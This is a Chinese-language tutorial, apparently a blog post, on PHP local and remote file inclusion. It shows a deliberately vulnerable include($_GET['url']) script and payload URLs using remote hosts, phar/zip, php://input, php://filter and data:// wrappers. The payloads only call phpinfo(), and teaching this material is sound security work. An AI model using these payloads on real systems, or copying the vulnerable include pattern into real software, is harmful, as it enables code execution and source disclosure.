简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

PHP Stream(流)

属性支持
受限于 allow_url_fopenNO
受限于allow_url_include仅 php://input、 php://stdin、 php://memory 和 php://temp。
允许读取仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。
允许写入仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。
允许追加仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp(等于写入)
允许同时读写仅 php://fd、 php://memory 和 php://temp。
支持 stat()仅 php://memory 和 php://temp。
支持 unlink()No
支持 rename()No
支持 mkdir()No
支持 rmdir()No
仅仅支持 stream_select()php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。

PHP文件包含漏洞

分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏
洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,
因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

php:// — 访问各个输入/输出流(I/O streams)
php中引发文件包含漏洞的通常是
以下四个函数:

  • include()
  • include_once()
  • require()
  • require_once()

举例

解析txt

include可以包含文件,如txt文本格式,并把包含的文件当作php代码解析执行。

test.php

<?php
include "1.txt";

1.txt:

<?php
phpinfo();

1

<?php
include $_GET['url'];

包含服务器文件

访问:http://xx/test.php?url=1.txt跟上面一样。
配置:

allow_url_fopen = On
allow_url_include = On

访问:http://test/test.php?url=http://www.baidu.com
test

包含本地文件

访问:http://test/test.php?url=file:///D:/test/1.txt
利用条件:php版本大于等于php5.3.0phar://

test.php?file=phar://test.zip/phpinfo.txtzip://	
test.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

test
访问:http://test/test.php?url=http://v.f5.ink/i
http://v.f5.ink/i下载的文本内容为:

include # F5.ink
<?PHP
phpinfo();
?>

远程

发送post请求php://input

post

火狐浏览器插件hackbar:
https://addons.mozilla.org/en-US/firefox/addon/max-hackbar/?src=search

读取php代码:

php://filter/read=convert.base64-encode/resource=test.php
访问:http://test/test.php?url=php://filter/read=convert.base64-encode/resource=test.php
不受allow_url_include限制
base64解密:

echo "PD9waHANCmluY2x1ZGUgJF9HRVRbJ3VybCddOw0KPz4=" | base64 -d

data base64

http://test/test.php?url=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://test/test.php?url=data:text/plain,%3C?php%20phpinfo();?%3E

利用条件:php版本大于等于php5.2、allow_url_fopen = Onallow_url_include = On
1
图片也一样
http://tool.chinaz.com/tools/imgtobase/

参考

http://f5.ink:50001/index.php

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐